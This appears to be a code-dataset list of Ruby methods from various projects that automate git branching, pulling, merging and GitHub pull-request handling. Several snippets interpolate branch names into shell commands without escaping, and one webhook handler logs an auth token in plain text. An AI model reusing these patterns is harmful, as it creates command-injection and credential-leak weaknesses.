"def git_pull\n if `git branch -a` =~ /remotes\\/#{@remote}\\/#{@branch}/ ||\n `git ls-remote #{@remote}` =~ /refs\\/heads\\/#{@branch}/\n `git pull #{@remote} #{@branch}`\n end\n end",
"def checkout(branch_name)\n local_branches = @rugged_repository.branches.each_name.to_a\n if !local_branches.include?(branch_name) && self.remote_branch_from_local(branch_name)\n @rugged_repository.branches.create(branch_name, self.remote_branch_from_local(branch_name))\n end\n @rugged_repository.checkout(branch_name)\n end",
"def pull(tracking_branch=upstream_branch)\n sandbox do |git, work_tree, index_file|\n remote, remote_branch = parse_tracking_branch(tracking_branch)\n git.fetch({}, remote, \"#{remote_branch}:remotes/#{tracking_branch}\")\n merge(tracking_branch)\n end\n reset\n end",
"def pull\n ui.info(\"Pulling from origin\")\n git.pull(REMOTE, [ REMOTE, BRANCH ], AUTO_MERGE_MSG)\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n unless deployable? || @force\n CLI.say 'Pull request status checks have not passed. Cannot be marked deployable.'\n exit!\n end\n\n merge_result = merge\n add_deployable_label if config.deployable_label && merge_result\n end\n end",
"def checkout_branch(repo_path, branch)\n Dir.chdir(repo_path) {\n system('git fetch')\n system(\"git checkout #{branch}\")\n }\n end",
"def pull(remote = nil, branch = nil)\n self.lib.pull(remote, branch)\n end",
"def cmd\n branch = self.known_options.first || default_branch\n c = [\"git checkout #{branch}\"]\n c << \"git pull\"\n c << \"git checkout #{current_branch}\"\n c.join(\"\\n\")\n end",
"def del_pr_branch(upstream, pr)\n `git checkout #{upstream}`\n `git branch -D #{pr_fix}#{pr}`\n end",
"def update(state = 'open')\n @current_requests = @github.pull_requests(source_repo, state)\n repos = @current_requests.collect do |request|\n repo = request.head.repository\n \"#{repo.owner}/#{repo.name}\" if repo\n end\n repos.uniq.compact.each do |rep|\n git_call \"fetch git@github.com:#{rep}.git +refs/heads/*:refs/pr/#{rep}/*\"\n end\n end",
"def merge(branch, message = 'merge', opts = {})\n self.lib.merge(branch, message, opts)\n end",
"def get_merged(br)\n __branches \"-l --merged #{br}\"\nend",
"def check_out_branch\n git.check_out branch_to_merge_into\n rescue Git::NoBranchOfType\n cli.say \"No #{branch_type} branch available. Creating one now.\"\n git.check_out DatedBranchCreator.perform(branch_type).branch_name\n end",
"def push(_branch)\n puts 'TODO: Implement Git.push'\n end",
"def checkPullRequest(id, fork=true)\n summary = getPullRequestSummary(id)\n puts \"checking pull request #{id}, branch #{summary.branch}\"\n files = getPullRequestFiles(id)\n `hg log -r #{summary.destination} 2>&1`\n if $? != 0\n puts \"Unknown revision #{summary.destination}, try: hg pull\"\n return\n end\n `hg log -r #{summary.source} 2>&1`\n if $? != 0\n puts \"Unknown revision #{summary.source}, try: hg pull \" +\n \"(it could also be a fork)\"\n return\n end\n ancestor=`hg log -r \"ancestor(#{summary.source},#{summary.destination})\" | head -1 | sed -e 's@.*:@@'`.chomp\n if ancestor != summary.destination\n puts \"Need to merge branch #{summary.branch} with #{summary.destination}\"\n end\n checkFiles(files, summary.source, fork)\n end",
"def pull_request(_input)\n puts 'TODO: Implement Git.pull_request'\n # TODO: Validate input\n # input[:issue].to_s\n # input[:base_branch].to_s\n end",
"def checkout_branch\n Dir.chdir(@dir) { git!('checkout', @configuration.branch) } if @configuration.branch\n end",
"def copy_branch_commits(src_repo_path, src_branch, src_branch_point, dest_repo_path)\n `(cd \"#{src_repo_path}\" && git format-patch --stdout #{src_branch_point}..#{src_branch}) | (cd \"#{dest_repo_path}\" && git am)`\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).post(body)\n end",
"def merge(merge_branch, options = {})\n merge_analysis = rugged.merge_analysis(merge_branch.name)\n if merge_analysis.include?(:fastforward)\n rugged.references.update(helper.head_ref, merge_branch.target_id)\n rugged.checkout_head(strategy: :force)\n elsif merge_analysis.include?(:normal)\n ours = helper.head_target\n theirs = merge_branch.target\n merge_base = rugged.merge_base(ours, theirs)\n raise(NoCommonCommit) unless merge_base\n\n base = rugged.rev_parse(merge_base)\n index = ours.tree.merge(theirs.tree, base.tree)\n\n commit_message =\n if index.conflicts?\n raise(MergeConflict) unless block_given?\n\n message = yield(index, rugged, helper.working_directory)\n raise(MergeConflict) unless message\n\n index.conflict_cleanup\n message\n else\n \"Merge branch '#{helper.head_branch.name}' of #{helper.head_remote.url}\"\n end\n\n helper.commit_create(\n commit_message,\n index.write_tree(rugged),\n [ours, theirs],\n options\n )\n rugged.checkout_head(strategy: :force)\n end\n\n self\n end",
"def update\n # Reset --hard repo before update\n reset! if @settings[:reset_before_update]\n\n # Fetch changes from origin\n repo.fetch('origin', credentials: credentials)\n\n # Create the merged index in memory\n merge_index = repo.merge_commits(local_branch, remote_branch)\n\n # Complete the merge by comitting it\n opts = {\n parents: [local_branch, remote_branch],\n tree: merge_index.write_tree(repo),\n update_ref: update_ref,\n message: update_message,\n author: commit_author,\n committer: commit_author\n }\n Rugged::Commit.create(repo, opts)\n\n reload!\n end",
"def fetch_remote_branch(target_branch)\n create_remote_branch(target_branch) unless remote_branch_exists?(target_branch)\n run_git_cmd 'fetch', 'origin'\n run_git_cmd('branch', '--delete', '--force', target_branch) rescue Gitx::Executor::ExecutionError\n checkout_branch target_branch\n end",
"def sync_develop_branch(repoName)\n sync_addon_branch_to_blessed_repo(repoName, \"origin/develop\", \"develop\", false)\n end",
"def del_pr_branch(upstream, pr)\n `git checkout #{upstream}`\n `git branch -D PR-#{pr}`\n end",
"def merge(repo, base, head, options = {})\n params = {\n :base => base,\n :head => head\n }.merge(options)\n post \"#{Repository.path repo}/merges\", params\n end",
"def update\n [\n git('checkout', '.'),\n git('clean', '-ffd'),\n git('fetch', 'origin'),\n git('checkout', branch),\n git('pull', '--recurse-submodules=yes'),\n git('checkout', commit_hash_for_checkout),\n git('submodule', 'update', '--init'),\n git('clean', '-ffd')\n ].join(\"\\n\")\n end",
"def merge(number)\n request = get_request_by_number(number)\n if request.head.repo\n message = \"Accept request ##{request.number} \" +\n \"and merge changes into \\\"#{local.target}\\\"\"\n command = \"merge -m '#{message}' #{request.head.sha}\"\n puts\n puts \"Request title:\"\n puts \" #{request.title}\"\n puts\n puts \"Merge command:\"\n puts \" git #{command}\"\n puts\n puts git_call(command)\n else\n print_repo_deleted(request)\n end\n end",
"def pull\n Dir.chdir @app_dir do\n `git pull #{@repo} master`\n raise \"Deployment of code failed\" unless $?.exitstatus == 0\n end\n end",
"def merge(build)\n Rails.logger.info(\"Trying to merge branch: #{build.branch} to master after build id: #{build.id}\")\n\n checkout_log, status = Open3.capture2e(\"git checkout master && git pull\")\n raise_and_log(\"Was unable checkout and pull master:\\n\\n#{checkout_log}\") if status.exitstatus != 0\n\n commit_message = \"Kochiku merge of branch #{build.branch} for build id: #{build.id} ref: #{build.ref}\"\n merge_log, status = Open3.capture2e(merge_env, \"git merge --no-ff -m '#{commit_message}' #{build.ref}\")\n abort_merge_and_raise(\"git merge --abort\",\n \"Was unable to merge your branch:\\n\\n#{merge_log}\") unless status.success?\n\n push_log, status = Open3.capture2e(\"git push origin master\")\n rebase_log, second_push_log = recover_failed_push unless status.success?\n\n [checkout_log, merge_log, push_log, rebase_log, second_push_log].join(\"\\n\")\n end",
"def handle_repo_push_request\n return unless @repository\n\n branch_name = payload[\"ref\"].sub(%r{\\Arefs/heads/}, '')\n branch = @repository.branches.where(name: branch_name).first\n if branch.present? && branch.convergence? && @repository.run_ci?\n sha = payload[\"after\"]\n branch.kickoff_new_build_unless_currently_busy(sha)\n end\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).post(body)\n end",
"def checkout(branch)\n zombie_check\n workdir = File.join(@repo.dir.to_s, \".worktree\", @name, branch)\n worktree = @repo.new_worktree(workdir, self.class.branch_name(@name, branch: branch)) \n end",
"def create_branch\n check_current_repo\n exists = `git branch --list #{branch}`.squish == branch\n if exists\n `git checkout #{branch}`\n else\n `git checkout master` unless current_branch == 'master'\n `git checkout -b #{branch}`\n end\nend",
"def merge_and_push\n Rails.logger.info(\"Trying to merge branch: #{@build.branch} to master after build id: #{@build.id}\")\n\n begin\n git_fetch_and_reset\n\n merge_log = merge_to_master\n\n push_log = push_to_remote\n rescue GitFetchFailedError, GitPushFailedError\n tries = (tries || 0) + 1\n if tries < 3\n sleep(10 * tries)\n retry\n else\n raise\n end\n end\n\n [merge_log, push_log].join(\"\\n\")\n end",
"def update_branch!(branch)\n self.name = Job.name_for_branch(self.name, branch)\n xml = REXML::Document.new(self.data)\n REXML::XPath.first(xml, '/project/scm/branches/hudson.plugins.git.BranchSpec/name').text = REXML::XPath.first(xml, '/project/scm/branches/hudson.plugins.git.BranchSpec/name').text.gsub /template/, branch\n self.data = xml.to_s\n\n self\n end",
"def sync_addon_branch_to_blessed_repo(repoName, remoteBranch, localBranch, pushForce = false)\n self.log(INFO,repoName,\"Checkout #{remoteBranch} branch (it is perhaps not the default) for #{repoName}...\")\n s = system(\"git checkout #{localBranch}\")\n if !s\n print(\"[ERROR] No #{remoteBranch} branch in repository #{repoName}, Skip this repo!!!\\n\")\n self.log(INFO,repoName,\"Done.\")\n # Let's process the next one\n else\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Reset #{localBranch} to #{remoteBranch} for #{repoName} ...\")\n s = system(\"git reset --hard #{remoteBranch}\")\n if !s\n abort(\"[ERROR] Reset #{localBranch} to #{remoteBranch} for #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Push #{localBranch} branch content from exo-addons repository to blessed repository ...\")\n\n forceParam = \"\"\n if pushForce\n forceParam = \"--force\"\n end\n\n s = system(\"git push #{forceParam} blessed #{localBranch}\")\n if !s\n abort(\"[ERROR] Push of #{localBranch} branch updates to repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n end\n end",
"def process_pr(pr, cmd)\n head = pr[:head]\n repo = head[:repo]\n\n pending_status(pr, 'Merge in progress.')\n\n return true if skip_pr?(pr)\n\n begin\n cmd.run 'git fetch', repo[:ssh_url], head[:ref] if repo\n\n merge_status = cmd.run! 'git merge --no-ff --no-edit', head[:sha]\n\n if merge_status.success?\n success_status(pr, \"Merge with '#{@base_branch}' was successful.\")\n else\n cmd.run 'git merge --abort'\n\n message = \"Failed to merge '#{head[:ref]} with #{@base_branch}.\"\n failure_status(pr, message)\n end\n rescue => e\n failure_status(pr, \"Merge encountered an error: #{e.message}.\")\n\n return false\n end\n\n true\n end",
"def git_checkout(setBranch, dir)\n getBranch = `cd #{dir}; git branch --list | sed -n \"/#{setBranch}/p\" | cut -d'*' -f2 | awk '{ gsub (\" \", \"\", $0); print}'`\n if getBranch.nil? || getBranch.empty?\n system_commands(\"cd #{dir}; git checkout -b #{setBranch}\")\n else\n system_commands(\"cd #{dir}; git checkout #{getBranch}\")\n end\n end",
"def merge(options={})\n options.merge! :from => DEFAULT_REMOTE_BRANCH, :to => DEFAULT_LOCAL_REF\n theirs = repo.rev_parse options[:from]\n ours = repo.rev_parse options[:to]\n\n analysis = repo.merge_analysis(theirs)\n return analysis if analysis.include? :up_to_date\n\n base = repo.rev_parse(repo.merge_base(ours, theirs))\n index = ours.tree.merge(theirs.tree, base.tree)\n\n raise MergeConflict if index.conflicts?\n\n Rugged::Commit.create(repo, {\n parents: [ours, theirs],\n tree: index.write_tree(repo),\n message: \"Merged `#{options[:from]}` into `#{options[:to].sub(\"refs/heads/\", \"\")}`\",\n update_ref: options[:to]\n })\n end",
"def pull_execute(branch, dir)\n vConfig(CONFIG['configWebsite'])\n read_json(CONFIG['configWebsite'])\n pull = @parse_json_config['deploy']['github']['config']['pull']\n if pull == \"yes\"\n system_commands(\"cd #{dir}; git pull origin #{branch}\")\n end\n end",
"def update\n working_dir do\n git 'checkout', working_dir\n git 'clean', '-fd'\n git 'checkout', 'master'\n git 'pull'\n git 'fetch', 'origin'\n git 'checkout', branch\n git 'submodule', 'update', '--init'\n end\n end",
"def merged_with_git?(pr)\n\n #1. Commits from the pull request appear in the master branch\n q = <<-QUERY\n\t select c.sha\n from pull_request_commits prc, commits c\n\t where prc.commit_id = c.id\n\t\t and prc.pull_request_id = ?\n QUERY\n db.fetch(q, pr[:id]).each do |x|\n unless @all_commits.select { |y| x[:sha].start_with? y }.empty?\n return [true, :commits_in_master]\n end\n end\n\n #2. The PR was closed by a commit (using the Fixes: convention).\n # Check whether the commit that closes the PR is in the project's\n # master branch\n unless @closed_by_commit[pr[:github_id]].nil?\n sha = @closed_by_commit[pr[:github_id]]\n unless @all_commits.select { |x| sha.start_with? x }.empty?\n return [true, :fixes_in_commit]\n end\n end\n\n comments = issue_comments(pr[:login], pr[:project_name], pr[:github_id])\n\n comments.reverse.take(3).map { |x| x['body'] }.uniq.each do |last|\n # 3. Last comment contains a commit number\n last.scan(/([0-9a-f]{6,40})/m).each do |x|\n # Commit is identified as merged\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ied)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :commit_sha_in_comments]\n else\n # Commit appears in master branch\n unless @all_commits.select { |y| x[0].start_with? y }.empty?\n return [true, :commit_sha_in_comments]\n end\n end\n end\n\n # 4. Merg[ing|ed] or appl[ing|ed] as last comment of pull request\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ed)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :merged_in_comments]\n end\n end\n\n [false, :unknown]\n end",
"def pull_requests_for_branch(repo, branch)\n head_name = \"#{repo.split('/').first}:#{branch}\"\n github_api_request \"GET\", \"repos/#{repo}/pulls?head=#{head_name}\"\n end",
"def add_merge(options={})\n if message = options[:message]\n message = \"-m '#{message}'\"\n end\n branch = options[:branch] || \"foobar\"\n base = options[:base] || \"master\"\n sh(\"git checkout -b #{branch} 2>&1 && echo asd >> xxx && git commit -am 'xxx' && git checkout #{base} 2>&1 && git merge #{branch} --no-ff #{message}\")\n commits = last_commits\n return commits[0], commits[1]\n end",
"def merge(treeish=upstream_branch)\n sandbox do |git, work_tree, index_file|\n des, src = safe_rev_parse(branch, treeish)\n base = des.nil? ? nil : git.merge_base({}, des, src).chomp(\"\\n\")\n \n case\n when base == src\n break\n when base == des\n # fast forward situation\n grit.update_ref(branch, src)\n else\n # todo: add rebase as an option\n \n git.read_tree({\n :m => true, # merge\n :i => true, # without a working tree\n :trivial => true, # only merge if no file-level merges are required\n :aggressive => true, # allow resolution of removes\n :index_output => index_file\n }, base, branch, src)\n \n commit!(\"gitgo merge of #{treeish} into #{branch}\", \n :tree => git.write_tree.chomp(\"\\n\"),\n :parents => [des, src]\n )\n end\n \n reset\n end\n \n self\n end",
"def merged_with_git?(pr)\n\n #1. Commits from the pull request appear in the master branch\n q = <<-QUERY\n\t select c.sha\n from pull_request_commits prc, commits c\n\t where prc.commit_id = c.id\n\t\t and prc.pull_request_id = ?\n QUERY\n db.fetch(q, pr[:id]).each do |x|\n unless @all_commits.select { |y| x[:sha].start_with? y }.empty?\n return [true, :commits_in_master]\n end\n end\n\n #2. The PR was closed by a commit (using the Fixes: convention).\n # Check whether the commit that closes the PR is in the project's\n # master branch\n unless @closed_by_commit[pr[:github_id]].nil?\n sha = @closed_by_commit[pr[:github_id]]\n if not @all_commits.select { |x| sha.start_with? x }.empty?\n return [true, :fixes_in_commit]\n end\n end\n\n comments = issue_comments(pr[:login], pr[:project_name], pr[:github_id])\n\n comments.reverse.take(3).map { |x| x['body'] }.uniq.each do |last|\n # 3. Last comment contains a commit number\n last.scan(/([0-9a-f]{6,40})/m).each do |x|\n # Commit is identified as merged\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ied)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :commit_sha_in_comments]\n else\n # Commit appears in master branch\n unless @all_commits.select { |y| x[0].start_with? y }.empty?\n return [true, :commit_sha_in_comments]\n end\n end\n end\n\n # 4. Merg[ing|ed] or appl[ing|ed] as last comment of pull request\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ed)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :merged_in_comments]\n end\n end\n\n [false, :unknown]\n end",
"def pushtobare(branch = 'master')\n remote = satelliterepo.remotes['bare']\n remote = satelliterepo.remotes.create 'bare', barerepo.path unless remote\n satelliterepo.push remote, [\"refs/heads/#{branch}\"]\n end",
"def pushtobare(branch = 'master')\n remote = satelliterepo.remotes['bare']\n remote = satelliterepo.remotes.create 'bare', barerepo.path unless remote\n satelliterepo.push remote, [\"refs/heads/#{branch}\"]\n end",
"def pullapprove_merge_hook\n context = params[:context]\n state = params[:state]\n target = params[:target_url]\n\n if context == 'code-review/pullapprove' && state == 'success'\n pr_num = %r{https?:\\/\\/pullapprove\\.com\\/Charcoal-SE\\/SmokeDetector\\/pull-request\\/(\\d+)\\/?}.match(target)[1].to_i\n pr = Octokit.client.pull_request('Charcoal-SE/SmokeDetector', pr_num)\n\n if pr[:user][:login] != 'SmokeDetector'\n render plain: \"Not a blacklist PR, not merging (##{pr_num})\"\n return\n end\n\n unless Dir.exist?('SmokeDetector')\n system 'git clone git@github.com:Charcoal-SE/SmokeDetector'\n\n Dir.chdir('SmokeDetector') do\n system 'git config user.name metasmoke'\n system 'git', 'config', 'user.email', AppConfig['github']['username']\n end\n end\n\n if !Octokit.client.pull_merged?('Charcoal-SE/SmokeDetector', pr_num)\n File.open('SmokeDetector/.git/info/attributes', File::RDWR) do |f|\n f.flock(File::LOCK_EX)\n\n Dir.chdir('SmokeDetector') do\n ref = pr[:head][:ref]\n\n system 'git fetch origin master; git checkout -B master origin/master'\n system 'git', 'fetch', 'origin', ref\n system 'git', 'merge', \"origin/#{ref}\", '--no-ff', '-m', \"Merge pull request ##{pr_num} from Charcoal-SE/#{ref} --autopull\"\n system 'git push origin master'\n system 'git', 'push', 'origin', '--delete', ref\n system 'git', 'branch', '-D', ref\n end\n end\n\n message = \"Merged SmokeDetector [##{pr_num}](https://github.com/Charcoal-SE/SmokeDetector/pull/#{pr_num}).\"\n ActionCable.server.broadcast('smokedetector_messages', message: message)\n render plain: \"Merged ##{pr_num}\"\n else\n render plain: \"##{pr_num} already merged\"\n end\n else\n render plain: 'Not PullApprove successful status, ignoring'\n end\n end",
"def merge(other = {})\n branch default_options.merge(other)\n end",
"def apply\n repo.push('origin', ['refs/heads/master'], credentials: credentials)\n end",
"def branch_and_merge(name=next_branch_tag(), actor=nil, &block)\n raise InvalidDbError if @stale\n\n # Force a commit before the merge\n # TODO: determine if this is really necessary\n staging.sync\n staging.commit('auto-commit before branch-and-merge', self.actor)\n\n # ensure staging index is nil [in case branch name was re-used]\n unstage\n\n # save old actor\n old_actor = self.actor\n self.actor = actor if actor\n\n sha = commits.last ? commits.last.id : nil\n tag = create_branch(name, sha)\n set_branch(tag, self.actor)\n\n # execute block in a transaction\n rv = true\n begin\n transaction(&block)\n merge_branch(tag, self.actor)\n rescue Exception =>e\n rv = false\n end\n\n # restore actor\n self.actor = old_actor if actor\n\n rv\n end",
"def checkout_to_base_branch!\n current_branch = git_command.current_branch\n return if base_branch == current_branch\n\n puts \"Current branch is expected to '#{base_branch}', but '#{current_branch}'.\"\n puts \"Checkout to '#{base_branch}'.\"\n git_command.checkout(base_branch)\n end",
"def pull_latest_changes\n system \"cd #{Dots.home} && #{git_pull}\"\n end",
"def pull_and_checkout\n Dir.new('.').each do |directory|\n next unless /[a-z]{2,3}\\d{4}/.match(directory)\n puts \"Pulling repo for #{directory.cyan}\"\n g = Git.open(directory)\n g.pull\n date = CONFIG['extended']['dce'].include?(directory) ? CONFIG['extended']['due_date'] : CONFIG['due_date']\n commit = g.log.until(date).first\n unless commit.nil?\n puts \"Reseting to commit #{commit.sha.cyan}\"\n g.reset_hard(commit)\n end\n end\n end",
"def gh_pull_request(data, config)\n action = data['action'] || nil\n pr = data['pull_request'] || nil\n\n Cyclid.logger.debug \"action=#{action}\"\n return true unless action == 'opened' \\\n or action == 'reopened' \\\n or action == 'synchronize'\n\n # Get the list of files in the root of the repository in the\n # Pull Request branch\n html_url = URI(pr['base']['repo']['html_url'])\n pr_sha = pr['head']['sha']\n ref = pr['head']['ref']\n\n Cyclid.logger.debug \"sha=#{pr_sha} ref=#{ref}\"\n\n # Get some useful endpoints & interpolate the SHA for this PR\n url = pr['head']['repo']['statuses_url']\n statuses = url.gsub('{sha}', pr_sha)\n\n url = pr['head']['repo']['trees_url']\n trees = url.gsub('{/sha}', \"/#{pr_sha}\")\n\n # Get an OAuth token, if one is set for this repo\n Cyclid.logger.debug \"attempting to find auth token for #{html_url}\"\n auth_token = nil\n config['repository_tokens'].each do |entry|\n entry_url = URI(entry['url'])\n auth_token = entry['token'] if entry_url.host == html_url.host && \\\n entry_url.path == html_url.path\n end\n\n # XXX We probably don't want to be logging auth tokens in plain text\n Cyclid.logger.debug \"auth token=#{auth_token}\"\n\n # Set the PR to 'pending'\n GithubStatus.set_status(statuses, auth_token, 'pending', 'Preparing build')\n\n # Get the Pull Request\n begin\n trees_url = URI(trees)\n Cyclid.logger.debug \"Getting root for #{trees_url}\"\n\n request = Net::HTTP::Get.new(trees_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(trees_url.hostname, trees_url.port)\n http.use_ssl = (trees_url.scheme == 'https')\n response = http.request(request)\n\n Cyclid.logger.debug response.inspect\n raise \"couldn't get repository root\" \\\n unless response.code == '200'\n\n root = Oj.load response.body\n rescue StandardError => ex\n Cyclid.logger.error \"failed to retrieve Pull Request root: #{ex}\"\n return_failure(500, 'could not retrieve Pull Request root')\n end\n\n # See if a .cyclid.yml or .cyclid.json file exists in the project\n # root\n job_url = nil\n job_type = nil\n root['tree'].each do |file|\n match = file['path'].match(/\\A\\.cyclid\\.(json|yml)\\z/)\n next unless match\n\n job_url = URI(file['url'])\n job_type = match[1]\n end\n\n Cyclid.logger.debug \"job_url=#{job_url}\"\n\n if job_url.nil?\n GithubStatus.set_status(statuses, auth_token, 'error', 'No Cyclid job file found')\n return_failure(400, 'not a Cyclid repository')\n end\n\n # Pull down the job file\n begin\n Cyclid.logger.info \"Retrieving PR job from #{job_url}\"\n\n request = Net::HTTP::Get.new(job_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(job_url.hostname, job_url.port)\n http.use_ssl = (job_url.scheme == 'https')\n response = http.request(request)\n raise \"couldn't get Cyclid job\" unless response.code == '200'\n\n job_blob = Oj.load response.body\n case job_type\n when 'json'\n job_definition = Oj.load(Base64.decode64(job_blob['content']))\n when 'yml'\n job_definition = YAML.load(Base64.decode64(job_blob['content']))\n end\n\n # Insert this repository & branch into the sources\n #\n # XXX Could this cause collisions between the existing sources in\n # the job definition? Not entirely sure what the workflow will\n # look like.\n job_sources = job_definition['sources'] || []\n job_sources << { 'type' => 'git',\n 'url' => html_url.to_s,\n 'branch' => ref,\n 'token' => auth_token }\n job_definition['sources'] = job_sources\n\n Cyclid.logger.debug \"sources=#{job_definition['sources']}\"\n rescue StandardError => ex\n GithubStatus.set_status(statuses,\n auth_token,\n 'error',\n \"Couldn't retrieve Cyclid job file\")\n Cyclid.logger.error \"failed to retrieve Github Pull Request job: #{ex}\"\n raise\n end\n\n Cyclid.logger.debug \"job_definition=#{job_definition}\"\n\n begin\n callback = GithubCallback.new(statuses, auth_token)\n job_from_definition(job_definition, callback)\n rescue StandardError => ex\n GithubStatus.set_status(statuses, auth_token, 'failure', ex)\n return_failure(500, 'job failed')\n end\n end",
"def create_branch_and_checkout(repo_path, commit, branch)\n `(cd \"#{repo_path}\" && git checkout -b #{branch} #{commit})`\n end",
"def include other_branch\n Dir.chdir @root do\n cmd = \"git merge --no-ff --no-commit \\\"#{other_branch}\\\"\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n if /Not a git repository/.match stderr\n raise NotARepositoryError\n elsif /Automatic merge failed/.match stdout\n return false\n else\n raise Error, stderr\n end\n end\n end\n return true\n end",
"def create_pull_request(token, branch, repo, body, assignee)\n payload = {:title => branch, :base => base_branch, :head => branch, :body => body}.to_json\n say \"Creating pull request for \"\n say \"#{branch} \", :green\n say \"against \"\n say \"#{base_branch} \", :green\n say \"in \"\n say repo, :green\n response = RestClient::Request.new(:url => \"https://api.github.com/repos/#{repo}/pulls\", :method => \"POST\", :payload => payload, :headers => {:accept => :json, :content_type => :json, 'Authorization' => \"token #{token}\"}).execute\n data = JSON.parse response.body\n\n assign_pull_request(token, branch, assignee, data) if assignee ## Unfortunately this needs to be done in a seperate request.\n\n url = data['html_url']\n url\n rescue RestClient::Exception => e\n process_error e\n throw e\n end",
"def update!(**args)\n @remote_branch = args[:remote_branch] if args.key?(:remote_branch)\n end",
"def perform\n git.if_clean do\n check_out_branch\n merge_pull_request\n comment_about_merge\n end\n rescue => e\n case e\n when GitHub::PullRequest::NotFound\n cli.say \"Unable to find pull request #{pull_request_id}. Please retry with a valid ID.\"\n when Git::MergeFailed\n cli.say \"Merge failed. Please identify the source of this merge conflict resolve this conflict in your pull request's branch. NOTE: Merge conflicts resolved in the #{branch_type} branch are NOT used when deploying.\"\n when Git::CheckoutFailed\n cli.say \"Checkout of #{branch_to_merge_into} failed. Please contact Infrastructure to determine the cause.\"\n when GitHub::PullRequest::CommentFailed\n cli.say \"Unable to write comment. Please navigate to #{pull_request.url} and add the comment, '#{comment_body}'\"\n else\n cli.say \"An unknown error occurred: #{e.inspect}\"\n end\n raise\n end",
"def to_checkout\n @to_checkout ||= begin\n clean_local_branch\n remote_branch? ? \"origin/#{ref}\" : ref\n end\n end",
"def checkout_branch\n return unless self.working_directory\n\n commands = []\n if branch_exists?(self.branch)\n # Checkout the branch if it already exists\n commands << \"git checkout #{self.branch.shellescape}\"\n else\n # If a new branch is being created, we create it as an 'orphan' to not inherit changes from the master branch.\n commands << \"git checkout --orphan #{self.branch.shellescape}\"\n # We also need to reset the working directory to not transfer any uncommitted changes to the new branch.\n commands << \"git reset --hard\"\n end\n\n UI.message(\"Checking out branch #{self.branch}...\")\n\n Dir.chdir(self.working_directory) do\n commands.each do |command|\n FastlaneCore::CommandExecutor.execute(command: command,\n print_all: FastlaneCore::Globals.verbose?,\n print_command: FastlaneCore::Globals.verbose?)\n end\n end\n end",
"def set_branch( tag, actor=nil )\n # allow creating of new branches via -b if they do not exist\n opt = (is_head? tag) ? '' : '-b'\n\n # Save staging index for current branch\n @saved_stages[@current_branch] = self.staging if staging?\n\n exec_git_cmd( \"git checkout -q -m #{opt} '#{tag}'\", actor )\n\n # Synchronize staging index (required before merge)\n unstage\n\n # Update current_branch info and restore staging for branch\n self.staging = @saved_stages[tag]\n self.staging.sync if staging?\n @current_branch = tag\n end",
"def branch\n 'refs/heads/master'\nend",
"def fetch_update\n remote_branch = ErrorEmittingExecutor.execute(\"git branch -r --list origin/#{BRANCH_NAME}\")\n if remote_branch == 'origin/cocina-level2-updates'\n ErrorEmittingExecutor.execute(\"git fetch origin #{GIT_MAIN_FETCH_REFS} #{GIT_BRANCH_FETCH_REFS}\")\n else\n ErrorEmittingExecutor.execute(\"git fetch origin #{GIT_MAIN_FETCH_REFS}\", exit_on_error: true)\n end\nend",
"def create_branch\n ErrorEmittingExecutor.execute(\"git checkout -B #{BRANCH_NAME}\")\n\n # Ensure local branch matches any existing upstream branch; will reset to HEAD by default\n ErrorEmittingExecutor.execute('git reset --hard', exit_on_error: true)\nend",
"def update_master\n execute_cmd 'git checkout master'\n execute_cmd 'git pull'\nend",
"def update_master\n execute_cmd 'git checkout master'\n execute_cmd 'git pull'\nend",
"def checkout(number, branch=false)\n request = get_request_by_number(number)\n puts 'Checking out changes to your local repository.'\n puts 'To get back to your original state, just run:'\n puts\n puts ' git checkout master'\n puts\n if branch\n git_call(\"checkout #{request.head.ref}\")\n else\n git_call(\"checkout pr/#{request.number}\")\n end\n end",
"def branch(name)\n gitrepo.create_branch(name)\n end",
"def scm_pull(uri,dest=nil)\n if dest\n sh 'svn', 'checkout', uri, dest\n else\n sh 'svn', 'checkout', uri\n end\n end",
"def checkout tag\n if @refresh\n sh 'git reset --hard'\n else\n sh 'git stash'\n end\n sh \"git checkout #{tag}\"\n end",
"def set_branch\n @branch = Branch.get_branch(params[:id], params[:workspace_id]).first\n end",
"def rebased_branch\n @rebased_branch ||=\n @args[1] || `git symbolic-ref --short --quiet HEAD`.chomp\n end",
"def push_branch\n return puts \"Not pushing, isn't a branch: #{@name}\" unless valid?\n\n puts \"Checking if we can push something on #{@source.name}\"\n return puts \"...nothing to push for #{@source.name}\" unless dirty? && valid?\n\n puts \"...pushing #{@source.name}[#{shortsha(@source.name)}]\"\n @git.push('origin', @source.name)\n @pushed = true\n end",
"def patch_branch\n num = 1\n branch_name = form_data[\"title\"].parameterize\n return branch_name unless branch_exists?(branch_name)\n branch = \"#{branch_name}-#{num}\"\n while branch_exists?(branch) do\n num = num + 1\n branch = \"#{branch_name}-#{num}\"\n end\n branch\n end",
